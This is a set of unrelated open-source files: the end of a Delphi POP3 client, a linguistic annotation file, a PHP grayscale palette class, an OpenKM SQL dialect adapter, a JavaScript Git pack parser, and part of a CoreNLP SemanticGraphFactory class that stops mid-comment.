TIdPOP3.RetrieveMsgSize(const MsgNum: Integer): Int64; var s: string; begin Result := -1; // Returns the size of the message. if an error ocurrs, returns -1. SendCmd('LIST ' + IntToStr(MsgNum), ST_OK); {Do not Localize} s := LastCmdResult.Text[0]; if Length(s) > 0 then begin // RL - ignore the message number, grab just the octets, // and ignore everything else that may be present Fetch(s); Result := IndyStrToInt64(Fetch(s), -1); end; end; function TIdPOP3.RetrieveStats(var VMsgCount: Integer; var VMailBoxSize: Int64): Boolean; var s: string; begin VMsgCount := 0; VMailBoxSize := 0; Result := (SendCmd('STAT', '') = ST_OK); {Do not Localize} if Result then begin s := LastCmdResult.Text[0]; if Length(s) > 0 then begin VMsgCount := IndyStrToInt(Fetch(s)); VMailBoxSize := IndyStrToInt64(Fetch(s)); end; end; end; function TIdPOP3.List(const ADest: TStrings; const AMsgNum: Integer = -1): Boolean; var LEncoding: IIdTextEncoding; begin if AMsgNum >= 0 then begin Result := (SendCmd('LIST ' + IntToStr(AMsgNum), '') = ST_OK); {Do not Localize} if Result then begin ADest.Assign(LastCmdResult.Text); end; end else begin Result := (SendCmd('LIST', '') = ST_OK); {Do not Localize} if Result then begin LEncoding := IndyTextEncoding_8Bit; IOHandler.Capture(ADest, LEncoding{$IFDEF STRING_IS_ANSI}, LEncoding{$ENDIF}); end; end; end; procedure TIdPOP3.ParseLIST(ALine: String; var VMsgNum: Integer; var VMsgSize: Int64); begin VMsgNum := IndyStrToInt(Fetch(ALine), -1); VMsgSize := IndyStrToInt64(Fetch(ALine), -1); end; function TIdPOP3.UIDL(const ADest: TStrings; const AMsgNum: Integer = -1): Boolean; var LEncoding: IIdTextEncoding; begin if AMsgNum >= 0 then begin Result := (SendCmd('UIDL ' + IntToStr(AMsgNum), '') = ST_OK); {Do not Localize} if Result then begin ADest.Assign(LastCmdResult.Text); end; end else begin Result := (SendCmd('UIDL', '') = ST_OK); {Do not Localize} if Result then begin LEncoding := IndyTextEncoding_8Bit; IOHandler.Capture(ADest, LEncoding{$IFDEF STRING_IS_ANSI}, LEncoding{$ENDIF}); end; end; end; procedure TIdPOP3.ParseUIDL(ALine: String; var VMsgNum: Integer; var VUidl: String); begin VMsgNum := IndyStrToInt(Fetch(ALine), -1); VUidl := Fetch(ALine); end; function TIdPOP3.Top(const AMsgNum: Integer; const ADest: TStrings; const AMaxLines: Integer = 0): boolean; var Cmd: String; LEncoding: IIdTextEncoding; begin Cmd := 'TOP ' + IntToStr(AMsgNum); {Do not Localize} if AMaxLines <> 0 then begin Cmd := Cmd + ' ' + IntToStr(AMaxLines); {Do not Localize} end; Result := (SendCmd(Cmd,'') = ST_OK); if Result then begin LEncoding := IndyTextEncoding_8Bit; IOHandler.Capture(ADest, LEncoding{$IFDEF STRING_IS_ANSI}, LEncoding{$ENDIF}); end; end; destructor TIdPOP3.Destroy; begin FreeAndNil(FSASLMechanisms); inherited; end; function TIdPOP3.CAPA: Boolean; begin FCapabilities.Clear; Result := (SendCmd('CAPA','') = ST_OK); {Do not Localize} if Result then begin IOHandler.Capture(FCapabilities); end; // RLebeau - do not delete here! The +OK reply line is handled // by SendCmd() above. Deleting here is removing an actual capability entry. { if FCapabilities.Count >0 then begin //dete the initial OK reply line FCapabilities.Delete(0); end; FHasCapa := Result; } FHasCapa := (FCapabilities.Count > 0); // ParseCapaReply(FCapabilities,'SASL'); end; procedure TIdPOP3.Notification(AComponent: TComponent; Operation: TOperation); begin if (Operation = opRemove) and (FSASLMechanisms <> nil) then begin FSASLMechanisms.RemoveByComp(AComponent); end; inherited Notification(AComponent,Operation); end; function TIdPOP3.GetSupportsTLS: Boolean; begin Result := ( FCapabilities.IndexOf('STLS') > -1 ); //do not localize end; procedure TIdPOP3.SetSASLMechanisms(AValue: TIdSASLEntries); begin FSASLMechanisms.Assign(AValue); end; procedure TIdPOP3.Connect; var S: String; I: Integer; begin FHasAPOP := False; FHasCAPA := False; FAPOPToken := ''; if (IOHandler is TIdSSLIOHandlerSocketBase) then begin (IOHandler as TIdSSLIOHandlerSocketBase).PassThrough := (FUseTLS <> utUseImplicitTLS); end; inherited Connect; try GetResponse(ST_OK); // the initial greeting text is needed to determine APOP availability S := LastCmdResult.Text.Strings[0]; //read response I := Pos('<', S); {Do not Localize} if i > 0 then begin S := Copy(S, I, MaxInt); //?: System.Delete(S,1,i-1); I := Pos('>', S); {Do not Localize} if I > 0 then begin FAPOPToken := Copy(S, 1, I); end; end; FHasAPOP := (Length(FAPOPToken) > 0); CAPA; if FAutoLogin then begin Login; end; except Disconnect(False); raise; end; end; end.
{ "pile_set_name": "Github" }
T0 segment 0 3 Yuk T1 segment 4 7 Yuk T2 segment 7 9 's T3 segment 10 12 is T4 segment 13 14 a T5 segment 15 23 national T6 segment 24 30 comedy T7 segment 31 35 club T8 segment 36 41 chain T9 segment 42 44 in T10 segment 45 51 Canada T11 segment 51 52 , T12 segment 53 60 founded T13 segment 61 63 by T14 segment 64 70 former T15 segment 71 79 stand-up T16 segment 80 88 comedian T17 segment 89 93 Mark T18 segment 94 101 Breslin T19 segment 102 105 and T20 segment 106 117 established T21 segment 118 120 in T22 segment 121 125 1976 T23 segment 126 128 by T24 segment 129 136 Breslin T25 segment 137 140 and T26 segment 141 150 long-time T27 segment 151 157 friend T28 segment 158 162 Joel T29 segment 163 168 Axler T30 segment 169 170 . R0 compound Arg1:T1 Arg2:T0 R1 s_p Arg1:T1 Arg2:T12 R2 s_p Arg1:T2 Arg2:T3 R3 p_o Arg1:T3 Arg2:T8 R4 compound Arg1:T8 Arg2:T6 R5 is-specialized-by Arg1:T8 Arg2:T9 R6 compound Arg1:T8 Arg2:T7 R7 is-specialized-by Arg1:T8 Arg2:T5 R8 c_co Arg1:T9 Arg2:T10 R9 p_c Arg1:T12 Arg2:T13 R10 c_co Arg1:T13 Arg2:T18 R11 compound Arg1:T18 Arg2:T16 R12 is-specialized-by Arg1:T18 Arg2:T14 R13 compound Arg1:T18 Arg2:T17 R14 is-specialized-by Arg1:T20 Arg2:T23 R15 is-specialized-by Arg1:T20 Arg2:T21 R16 c_co Arg1:T21 Arg2:T22 R17 c_co Arg1:T23 Arg2:T29 R18 compound Arg1:T29 Arg2:T28 R19 compound Arg1:T29 Arg2:T27 R20 compound Arg1:T29 Arg2:T24
{ "pile_set_name": "Github" }
<?php /* * This file is part of the Imagine package. * * (c) Bulat Shakirzyanov <[email protected]> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Imagine\Image\Palette; use Imagine\Image\Palette\Color\Gray as GrayColor; use Imagine\Image\Palette\Color\ColorInterface; use Imagine\Image\ProfileInterface; use Imagine\Image\Profile; use Imagine\Exception\RuntimeException; class Grayscale implements PaletteInterface { /** * @var ColorParser */ private $parser; /** * @var ProfileInterface */ private $profile; /** * @var array */ protected static $colors = array(); public function __construct() { $this->parser = new ColorParser(); } /** * {@inheritdoc} */ public function name() { return PaletteInterface::PALETTE_GRAYSCALE; } /** * {@inheritdoc} */ public function pixelDefinition() { return array(ColorInterface::COLOR_GRAY); } /** * {@inheritdoc} */ public function supportsAlpha() { return true; } /** * {@inheritdoc} */ public function useProfile(ProfileInterface $profile) { $this->profile = $profile; return $this; } /** * {@inheritdoc} */ public function profile() { if (!$this->profile) { $this->profile = Profile::fromPath(__DIR__ . '/../../resources/colormanagement.org/ISOcoated_v2_grey1c_bas.ICC'); } return $this->profile; } /** * {@inheritdoc} */ public function color($color, $alpha = null) { if (null === $alpha) { $alpha = 0; } $color = $this->parser->parseToGrayscale($color); $index = sprintf('#%02x%02x%02x-%d', $color[0], $color[0], $color[0], $alpha); if (false === array_key_exists($index, static::$colors)) { static::$colors[$index] = new GrayColor($this, $color, $alpha); } return static::$colors[$index]; } /** * {@inheritdoc} */ public function blend(ColorInterface $color1, ColorInterface $color2, $amount) { if (!$color1 instanceof GrayColor || ! $color2 instanceof GrayColor) { throw new RuntimeException('Grayscale palette can only blend Grayscale colors'); } return $this->color( array( (int) min(255, min($color1->getGray(), $color2->getGray()) + round(abs($color2->getGray() - $color1->getGray()) * $amount)), ), (int) min(100, min($color1->getAlpha(), $color2->getAlpha()) + round(abs($color2->getAlpha() - $color1->getAlpha()) * $amount)) ); } }
{ "pile_set_name": "Github" }
/** * OpenKM, Open Document Management System (http://www.openkm.com) * Copyright (c) 2006-2017 Paco Avila & Josep Llort * <p> * No bytes were intentionally harmed during the development of this application. * <p> * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * <p> * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * <p> * You should have received a copy of the GNU General Public License along * with this program; if not, write to the Free Software Foundation, Inc., * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. */ package com.openkm.util; import org.apache.commons.io.IOUtils; import org.hibernate.dialect.Oracle10gDialect; import org.hibernate.dialect.SQLServerDialect; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import java.io.BufferedReader; import java.io.IOException; import java.io.InputStream; import java.io.InputStreamReader; public class DatabaseDialectAdapter { private static Logger log = LoggerFactory.getLogger(DatabaseDialectAdapter.class); /** * Adapt "default.sql" to every supported database */ public static String dialectAdapter(InputStream is, String dialect) { StringBuilder sb = new StringBuilder(); BufferedReader br = null; String line; try { br = new BufferedReader(new InputStreamReader(is)); if (Oracle10gDialect.class.getCanonicalName().equals(dialect)) { log.info("Generation SQL for Oracle10gDialect..."); while ((line = br.readLine()) != null) { sb.append(oracleAdapter(line)).append("\n"); } } else if (SQLServerDialect.class.getCanonicalName().equals(dialect)) { log.info("Generation SQL for SQLServerDialect..."); while ((line = br.readLine()) != null) { sb.append(sqlServerAdapter(line)).append("\n"); } } else { log.info("Generation SQL for GeneralDialect..."); while ((line = br.readLine()) != null) { sb.append(line).append("\n"); } } } catch (IOException e) { e.printStackTrace(); } finally { IOUtils.closeQuietly(br); IOUtils.closeQuietly(is); } return sb.toString().trim(); } /** * Oracle special stuff */ private static String oracleAdapter(String line) { log.debug("oracleAdapter({})", line); String str; if (line.startsWith("INSERT INTO OKM_FORUM")) { str = line.replaceAll("NOW\\(\\)", "SYSDATE"); } else if (line.startsWith("INSERT INTO OKM_WIKI_PAGE")) { str = line.replaceAll("NOW\\(\\)", "SYSDATE"); } else { str = line; } log.debug("oracleAdapter: {}", str); return str; } /** * SQL Server special stuff */ private static String sqlServerAdapter(String line) { log.debug("sqlServerAdapter({})", line); StringBuilder sb = new StringBuilder(); if (line.startsWith("INSERT INTO OKM_PROFILE")) { sb.append("SET IDENTITY_INSERT OKM_PROFILE ON;").append("\n"); sb.append(line).append("\n"); sb.append("SET IDENTITY_INSERT OKM_PROFILE OFF;"); } else if (line.startsWith("INSERT INTO OKM_MIME_TYPE")) { sb.append("SET IDENTITY_INSERT OKM_MIME_TYPE ON;").append("\n"); sb.append(line).append("\n"); sb.append("SET IDENTITY_INSERT OKM_MIME_TYPE OFF;"); } else if (line.startsWith("INSERT INTO OKM_FORUM")) { sb.append("SET IDENTITY_INSERT OKM_FORUM ON;").append("\n"); sb.append(line.replaceAll("NOW\\(\\)", "GETDATE()")).append("\n"); sb.append("SET IDENTITY_INSERT OKM_FORUM OFF;"); } else if (line.startsWith("INSERT INTO OKM_WIKI_PAGE")) { sb.append("SET IDENTITY_INSERT OKM_WIKI_PAGE ON;").append("\n"); sb.append(line.replaceAll("NOW\\(\\)", "GETDATE()")).append("\n"); sb.append("SET IDENTITY_INSERT OKM_WIKI_PAGE OFF;"); } else { sb.append(line); } log.debug("sqlServerAdapter: {}", sb.toString()); return sb.toString(); } }
{ "pile_set_name": "Github" }
// Encapsulates a pack file, with methods to extract objects: // // getObjectAtOffset(offset) // // Also the entire file can be parsed, but this can take quite // some time for all but the smallest pack files. // // parseAll() Git.Pack = function(binary) { var binaryString = Git.toBinaryString(binary) var data = new BinaryFile(binaryString) var offset = 0 var objects = null if (typeof require === "undefined") { var myDebug = function(obj) { console.log(obj) } } else { var myDebug = require('util').debug } var peek = function(length) { return data.slice(offset, offset + length) } var rest = function() { return data.slice(offset) } var advance = function(length) { offset += length } var matchPrefix = function() { if (Git.bytesToString(peek(4)) === "PACK") { advance(4) } else { throw(Error("couldn't match PACK")) } } var matchVersion = function(expectedVersion) { var actualVersion = peek(4)[3] advance(4) if (actualVersion !== expectedVersion) { throw("expected packfile version " + expectedVersion + ", but got " + actualVersion) } } var matchNumberOfObjects = function() { var num = 0 _(peek(4)).each(function(b) { num = num << 8 num += b }) advance(4); return num; } var objectSizeInfosToSize = function(sizeInfos) { var current = 0, currentShift = 0, i, sizeInfo; for (i = 0; i < sizeInfos.length; i++) { sizeInfo = sizeInfos[i] current += (parseInt(sizeInfo, 2) << currentShift) currentShift += sizeInfo.length } return current } var getType = function(typeStr) { return { "001":"commit", "010":"tree", "011":"blob", "100":"tag", "110":"ofs_delta", "111":"ref_delta" }[typeStr] } var matchObjectHeader = function() { var sizeInfos = [] var hintTypeAndSize = peek(1)[0].toString(2).rjust(8, "0") var typeStr = hintTypeAndSize.slice(1, 4) var needMore = (hintTypeAndSize[0] == "1") var hintAndSize = null var objectStartOffset = offset sizeInfos.push(hintTypeAndSize.slice(4, 8)) advance(1) while (needMore) { hintAndSize = peek(1)[0].toString(2).rjust(8, "0") needMore = (hintAndSize[0] == "1") sizeInfos.push(hintAndSize.slice(1)) advance(1) } return {size:objectSizeInfosToSize(sizeInfos), type:getType(typeStr), offset: objectStartOffset} } // Defined in RFC 1950 var adler32 = function(string) { var s1 = 1, s2 = 0, i; var bytes = Git.stringToBytes(string) for(i = 0; i < bytes.length; i++) { s1 = s1 + bytes[i] s2 = s2 + s1 s1 = s1 % 65521 s2 = s2 % 65521 } return s2*65536 + s1 } var intToBytes = function(val, atLeast) { var bytes = [] var current = val while (current > 0) { bytes.push(current % 256) current = Math.floor(current / 256) } while (atLeast && bytes.length < atLeast) { bytes.push(0) } return bytes.reverse() } var matchBytes = function(bytes) { var i var nextByte for (i = 0; i < bytes.length; i++) { nextByte = peek(1)[0] if (nextByte !== bytes[i]) { throw(Error("adler32 checksum didn't match")) } advance(1) } } var advanceToBytes = function(bytes) { var nextByte var matchedByteCount = 0 while (matchedByteCount < bytes.length) { nextByte = peek(1)[0] if (nextByte == bytes[matchedByteCount]) { matchedByteCount++ } else { matchedByteCount = 0 } advance(1) } } var objectHash = function(type, content) { var data = type + " " + content.length + "\0" + content // return new SHA1(data).hexdigest() return Sha1.rstr2hex(Sha1.rstr_sha1(data)) } var matchOffsetDeltaObject = function(header) { var offsetBytes = [] var hintAndOffsetBits = peek(1)[0].toString(2).rjust(8, "0") var needMore = (hintAndOffsetBits[0] == "1") offsetBytes.push(hintAndOffsetBits.slice(1, 8)) advance(1) while (needMore) { hintAndOffsetBits = peek(1)[0].toString(2).rjust(8, "0") needMore = (hintAndOffsetBits[0] == "1") offsetBytes.push(hintAndOffsetBits.slice(1, 8)) advance(1) } var longOffsetString = _(offsetBytes).reduce(function(memo, byteString) { return memo + byteString }, "") var offsetDelta = parseInt(longOffsetString, 2) var n = 1 _(offsetBytes.length - 1).times(function() { offsetDelta += Math.pow(2, 7*n) n += 1 }) var deflated = Git.stripZlibHeader(rest()) var uncompressedData = RawDeflate.inflate(Git.bytesToString(deflated)) var checksum = adler32(uncompressedData) advance(2 + uncompressedData.compressedLength) matchBytes(intToBytes(checksum, 4)) return { type: header.type, sha: null, desiredOffset: header.offset - offsetDelta, offset: header.offset, data: Git.stringToBytes(uncompressedData.toString()) } } var matchNonDeltaObject = function(header) { var deflated = Git.stripZlibHeader(rest()) var uncompressedData = RawDeflate.inflate(Git.bytesToString(deflated)) var checksum = adler32(uncompressedData) advance(2 + uncompressedData.compressedLength) matchBytes(intToBytes(checksum, 4)) return { offset: header.offset, type: header.type, sha: objectHash(header.type, uncompressedData), data: uncompressedData.toString() } } var matchObjectData = function(header) { if (header.type == "ofs_delta") { return matchOffsetDeltaObject(header) } else if (header.type == "ref_delta") { var shaBytes = peek(20) advance(20) var sha = _(shaBytes).map(function(b) { return b.toString(16).rjust(2, "0")}).join("") throw(Error("found ref_delta")) } else { return matchNonDeltaObject(header) } } var matchObjectAtOffset = function(startOffset) { offset = startOffset var header = matchObjectHeader() return matchObjectData(header) } var stripOffsetsFromObjects = function() { _(objects).each(function(object) { delete object.offset }) } var objectAtOffset = function(offset) { return _(objects).detect(function(obj) { return obj.offset == offset }) } var expandOffsetDeltas = function() { _(objects).each(function(object) { expandDelta(object) }) } var expandDelta = function(object) { if (object.type == "ofs_delta") { expandOffsetDelta(object) } } var getObjectAtOffset = function(offset) { if (objects) { return objectAtOffset(offset) } var rawObject = matchObjectAtOffset(offset) expandDelta(rawObject) var newObject = Git.objects.make(rawObject.sha, rawObject.type, rawObject.data) return newObject } var expandOffsetDelta = function(object) { var baseObject = getObjectAtOffset(object.desiredOffset) if (baseObject.type == "ofs_delta" || baseObject.type == "ref_delta") { throw(Error("delta pointing to delta, can't handle this yet")) } else { var expandedData = Git.applyDelta(baseObject.data, object.data) object.type = baseObject.type object.fromDelta = {type: "ofs_delta", data: object.data, base: baseObject.sha} delete object.desiredOffset object.data = expandedData object.sha = objectHash(object.type, object.data) } } this.parseAll = function() { try { var numObjects var i objects = [] matchPrefix() matchVersion(2) numObjects = matchNumberOfObjects() for (i = 0; i < numObjects; i++) { var object = matchObjectAtOffset(offset) objects.push(object) } expandOffsetDeltas() stripOffsetsFromObjects() } catch(e) { console.log("Error caught in pack file parsing data") // + Git.stringToBytes(data.getRawData())) throw(e) } return this } this.getObjects = function() { return objects } this.getObjectAtOffset = getObjectAtOffset }
{ "pile_set_name": "Github" }
package edu.stanford.nlp.semgraph; import edu.stanford.nlp.ling.IndexedWord; import edu.stanford.nlp.trees.*; import java.util.function.Predicate; import edu.stanford.nlp.util.Filters; import edu.stanford.nlp.util.Generics; import edu.stanford.nlp.util.logging.Redwood; import java.util.*; /** * Refactoring of static makers of SemanticGraphs in order to simplify * the SemanticGraph class. * * @author rafferty */ public class SemanticGraphFactory { /** A logger for this class */ private static final Redwood.RedwoodChannels log = Redwood.channels(SemanticGraphFactory.class); private SemanticGraphFactory() {} // just static factory methods private static final boolean INCLUDE_PUNCTUATION_DEPENDENCIES = false; public enum Mode { COLLAPSED_TREE, /** collapse: Whether to do "collapsing" of pairs of dependencies into * single dependencies, e.g., for prepositions and conjunctions. */ COLLAPSED, /** ccProcess: Whether to do processing of CC complements resulting from * collapsing. This argument is ignored unless {@code collapse} is * {@code true}. */ CCPROCESSED, BASIC, ENHANCED, ENHANCED_PLUS_PLUS } /** * Produces an Uncollapsed (basic) SemanticGraph. */ public static SemanticGraph generateUncollapsedDependencies(Tree tree) { return makeFromTree(tree, Mode.BASIC, GrammaticalStructure.Extras.NONE); } /** * Produces a Collapsed SemanticGraph. * * @deprecated Use {@link #generateEnhancedDependencies(Tree)} or * {@link #generateEnhancedPlusPlusDependencies(Tree)} instead. */ @Deprecated public static SemanticGraph generateCollapsedDependencies(Tree tree) { return makeFromTree(tree, Mode.COLLAPSED, GrammaticalStructure.Extras.NONE); } /** * Produces a CCProcessed SemanticGraph. * * @deprecated Use {@link #generateEnhancedDependencies(Tree)} or * {@link #generateEnhancedPlusPlusDependencies(Tree)} instead. * */ @Deprecated public static SemanticGraph generateCCProcessedDependencies(Tree tree) { return makeFromTree(tree, Mode.CCPROCESSED, GrammaticalStructure.Extras.NONE); } /** * * Produces an enhanced dependencies SemanticGraph. */ public static SemanticGraph generateEnhancedDependencies(Tree tree){ return makeFromTree(tree, Mode.ENHANCED, GrammaticalStructure.Extras.NONE); } /** * * Produces an enhanced++ dependencies SemanticGraph. */ public static SemanticGraph generateEnhancedPlusPlusDependencies(Tree tree){ return makeFromTree(tree, Mode.ENHANCED_PLUS_PLUS, GrammaticalStructure.Extras.NONE); } /** * Produces an Uncollapsed (basic) SemanticGraph. */ public static SemanticGraph generateUncollapsedDependencies(GrammaticalStructure gs) { return makeFromTree(gs, Mode.BASIC, GrammaticalStructure.Extras.NONE, null); } /** * Produces a Collapsed SemanticGraph. * * @deprecated Use {@link #generateEnhancedDependencies(GrammaticalStructure)} or * {@link #generateEnhancedPlusPlusDependencies(GrammaticalStructure)} instead. */ @Deprecated public static SemanticGraph generateCollapsedDependencies(GrammaticalStructure gs) { return makeFromTree(gs, Mode.COLLAPSED, GrammaticalStructure.Extras.NONE, null); } /** * Produces a CCProcessed SemanticGraph. * * @deprecated Use {@link #generateEnhancedDependencies(GrammaticalStructure)} or * {@link #generateEnhancedPlusPlusDependencies(GrammaticalStructure)} instead. */ @Deprecated public static SemanticGraph generateCCProcessedDependencies(GrammaticalStructure gs) { return makeFromTree(gs, Mode.CCPROCESSED, GrammaticalStructure.Extras.NONE, null); } /** * Produces an enhanced dependencies SemanticGraph. */ public static SemanticGraph generateEnhancedDependencies(GrammaticalStructure gs) { return makeFromTree(gs, Mode.ENHANCED, GrammaticalStructure.Extras.NONE, null); } /** * Produces an enhanced++ dependencies SemanticGraph. */ public static SemanticGraph generateEnhancedPlusPlusDependencies(GrammaticalStructure gs) { return makeFromTree(gs, Mode.ENHANCED_PLUS_PLUS, GrammaticalStructure.Extras.NONE, null); } /** * Produces an Uncollapsed (basic) SemanticGraph. * * The extras parameter has no effect if gs is an instance of {@link UniversalEnglishGrammaticalStructure}. * * @deprecated Use {@link #generateUncollapsedDependencies(GrammaticalStructure)} instead. */ @Deprecated public static SemanticGraph generateUncollapsedDependencies(GrammaticalStructure gs, GrammaticalStructure.Extras extras) { return makeFromTree(gs, Mode.BASIC, extras, null); } /** * Produces a Collapsed SemanticGraph with optional extras. * * @deprecated Use {@link #generateEnhancedDependencies(GrammaticalStructure)} or * {@link #generateEnhancedPlusPlusDependencies(GrammaticalStructure)} instead. */ @Deprecated public static SemanticGraph generateCollapsedDependencies(GrammaticalStructure gs, GrammaticalStructure.Extras extras) { return makeFromTree(gs, Mode.COLLAPSED, extras, null); } /** * Produces a CCProcessed SemanticGraph with optional extras. * * @deprecated Use {@link #generateEnhancedDependencies(GrammaticalStructure)} or * {@link #generateEnhancedPlusPlusDependencies(GrammaticalStructure)} instead. */ @Deprecated public static SemanticGraph generateCCProcessedDependencies(GrammaticalStructure gs, GrammaticalStructure.Extras extras) { return makeFromTree(gs, Mode.CCPROCESSED, extras, null); } /** * @see #makeFromTree(Tree, Mode, GrammaticalStructure.Extras, Predicate */ public static SemanticGraph makeFromTree(Tree tree, Mode mode, GrammaticalStructure.Extras includeExtras, Predicate<TypedDependency> filter, boolean originalDependencies) { return makeFromTree(tree, mode, includeExtras, filter, originalDependencies, INCLUDE_PUNCTUATION_DEPENDENCIES); } /** * Returns a new {@code SemanticGraph} constructed from a given {@link * Tree} with given options. * * This factory method is intended to replace a profusion of highly similar * factory methods, such as * {@code typedDependencies()}, * {@code typedDependenciesCollapsed()}, * {@code allTypedDependencies()}, * {@code allTypedDependenciesCollapsed()}, etc. * * For a fuller explanation of the meaning of the boolean arguments, see * {@link GrammaticalStructure}. * * @param tree A tree representing a phrase structure parse * @param includeExtras Whether to include extra dependencies, which may * result in a non-tree * @param filter A filter to exclude certain dependencies; ignored if null * @param originalDependencies generate original Stanford dependencies instead of new * Universal Dependencies * @return A SemanticGraph */ public static SemanticGraph makeFromTree(Tree tree, Mode mode, GrammaticalStructure.Extras includeExtras, Predicate<TypedDependency> filter, boolean originalDependencies, boolean includePunctuationDependencies) { GrammaticalStructure gs; if (originalDependencies) { Predicate<String> wordFilt; if (includePunctuationDependencies) { wordFilt = Filters.acceptFilter(); } else { wordFilt = new PennTreebankLanguagePack().punctuationWordRejectFilter(); } gs = new EnglishGrammaticalStructure(tree, wordFilt, new SemanticHeadFinder(true)); } else { Predicate<String> tagFilt; if (includePunctuationDependencies) { tagFilt = Filters.acceptFilter(); } else { tagFilt = new PennTreebankLanguagePack().punctuationTagRejectFilter(); } gs = new UniversalEnglishGrammaticalStructure(tree, tagFilt, new UniversalSemanticHeadFinder(true) ); } return makeFromTree(gs, mode, includeExtras, filter); } // TODO: these booleans would be more readable as enums similar to Mode. // Then the arguments would make more sense public static SemanticGraph makeFromTree(GrammaticalStructure gs, Mode mode, GrammaticalStructure.Extras includeExtras, Predicate<TypedDependency> filter) { Collection<TypedDependency> deps; switch(mode) { case ENHANCED: deps = gs.typedDependenciesEnhanced(); break; case ENHANCED_PLUS_PLUS: deps = gs.typedDependenciesEnhancedPlusPlus(); break; case COLLAPSED_TREE: deps = gs.typedDependenciesCollapsedTree(); break; case COLLAPSED: deps = gs.typedDependenciesCollapsed(includeExtras); break; case CCPROCESSED: deps = gs.typedDependenciesCCprocessed(includeExtras); break; case BASIC: deps = gs.typedDependencies(includeExtras); break; default: throw new IllegalArgumentException("Unknown mode " + mode); } if (filter != null) { List<TypedDependency> depsFiltered = Generics.newArrayList(); for (TypedDependency td : deps) { if (filter.test(td)) { depsFiltered.add(td); } } deps = depsFiltered; } // there used to be an if clause that filtered out the case of empty // dependencies. However, I could not understand (or replicate) the error // it alluded to, and it led to empty dependency graphs for very short fragments, // which meant they were ignored by the RTE system. Changed. (pado) // See also the SemanticGraph constructor. //log.info(deps.toString()); return new SemanticGraph(deps); } /** * @see #makeFromTree(GrammaticalStructure, Mode, GrammaticalStructure.Extras, Predicate */ @Deprecated public static SemanticGraph makeFromTree(GrammaticalStructure tree, Mode mode, boolean includeExtras, Predicate<TypedDependency> filter) { return makeFromTree(tree, mode, includeExtras ? GrammaticalStructure.Extras.MAXIMAL : GrammaticalStructure.Extras.NONE, filter); } /** * @see #makeFromTree(GrammaticalStructure, Mode, GrammaticalStructure.Extras, Predicate */ public static SemanticGraph makeFromTree(GrammaticalStructure structure) { return makeFromTree(structure, Mode.BASIC, GrammaticalStructure.Extras.NONE, null); } /** * @see #makeFromTree(Tree, Mode, GrammaticalStructure.Extras, Predicate */ public static SemanticGraph makeFromTree(Tree tree, Mode mode, GrammaticalStructure.Extras includeExtras, Predicate<TypedDependency> filter) { return makeFromTree(tree, mode, includeExtras, filter, false); } /** * @see #makeFromTree(Tree, Mode, GrammaticalStructure.Extras, Predicate */ @Deprecated public static SemanticGraph makeFromTree(Tree tree, Mode mode, boolean includeExtras, Predicate<TypedDependency> filter) { return makeFromTree(tree, mode, includeExtras ? GrammaticalStructure.Extras.MAXIMAL : GrammaticalStructure.Extras.NONE, filter, false); } /** * @see #makeFromTree(Tree, Mode, GrammaticalStructure.Extras, Predicate */ public static SemanticGraph makeFromTree(Tree tree, Mode mode, GrammaticalStructure.Extras includeExtras) { return makeFromTree(tree, mode, includeExtras, null, false); } /** * @see #makeFromTree(Tree, Mode, GrammaticalStructure.Extras) */ @Deprecated public static SemanticGraph makeFromTree(Tree tree, Mode mode, boolean includeExtras) { return makeFromTree(tree, mode, includeExtras ? GrammaticalStructure.Extras.MAXIMAL : GrammaticalStructure.Extras.NONE); } /** * Given a list of edges, attempts to create and return a rooted SemanticGraph. * * TODO: throw Exceptions, or flag warnings on conditions for concern (no root, etc) */ public static SemanticGraph makeFromEdges(Iterable<SemanticGraphEdge> edges) { // Identify the root(s) of this graph SemanticGraph sg = new SemanticGraph(); Collection<IndexedWord> vertices = getVerticesFromEdgeSet(edges); for (IndexedWord vertex : vertices) { sg.addVertex(vertex); } for (SemanticGraphEdge edge : edges) { sg.addEdge(edge.getSource(),edge.getTarget(), edge.getRelation(), edge.getWeight(), edge.isExtra()); } sg.resetRoots(); return sg; } /** * Given an iterable set of edges, returns the set of vertices covered by these edges. * * Note: CDM changed the return of this from a List to a Set in 2011. This seemed more * sensible. Hopefully it doesn't break anything.... */ private static Set<IndexedWord> getVerticesFromEdgeSet(Iterable<SemanticGraphEdge> edges) { Set<IndexedWord> retSet = Generics.newHashSet(); for (SemanticGraphEdge edge : edges) { retSet.add(edge.getGovernor()); retSet.add(edge.getDependent()); } return retSet; } /** * Given a set of vertices, and the source graph they are drawn from, create a path composed * of the minimum paths between the vertices. i.e. this is a simple brain-dead attempt at getting * something approximating a minimum spanning graph. * * NOTE: the hope is the vertices will already be contiguous, but facilities are added just in case for * adding additional nodes. */ public static SemanticGraph makeFromVertices(SemanticGraph sg, Collection<IndexedWord> nodes) { List<SemanticGraphEdge> edgesToAdd = new ArrayList<>(); List<IndexedWord> nodesToAdd = new ArrayList<>(nodes); for (IndexedWord nodeA :nodes) { for (IndexedWord nodeB : nodes) { if (nodeA != nodeB) { List<SemanticGraphEdge> edges = sg.getShortestDirectedPathEdges(nodeA, nodeB); if (edges != null) { edgesToAdd.addAll(edges); for (SemanticGraphEdge edge : edges) { IndexedWord gov = edge.getGovernor(); IndexedWord dep = edge.getDependent(); if (gov != null && !nodesToAdd.contains(gov)) { nodesToAdd.add(gov); } if (dep != null && !nodesToAdd.contains(dep)) { nodesToAdd.add(dep); } } } } } } SemanticGraph retSg = new SemanticGraph(); for (IndexedWord node : nodesToAdd) { retSg.addVertex(node); } for (SemanticGraphEdge edge : edgesToAdd) { retSg.addEdge(edge.getGovernor(), edge.getDependent(), edge.getRelation(), edge.getWeight(), edge.isExtra()); } retSg.resetRoots(); return retSg; } /** * This creates a new graph based off the given, but uses the existing nodes objects. */ public static SemanticGraph duplicateKeepNodes(SemanticGraph sg) { SemanticGraph retSg = new SemanticGraph(); for (IndexedWord node : sg.vertexSet()) { retSg.addVertex(node); } retSg.setRoots(sg.getRoots()); for (SemanticGraphEdge edge : sg.edgeIterable()) { retSg.addEdge(edge.getGovernor(), edge.getDependent(), edge.getRelation(), edge.getWeight(), edge.isExtra()); } return retSg; } /** * Given a list of graphs, constructs a new graph combined from the * collection of graphs. Original vertices are 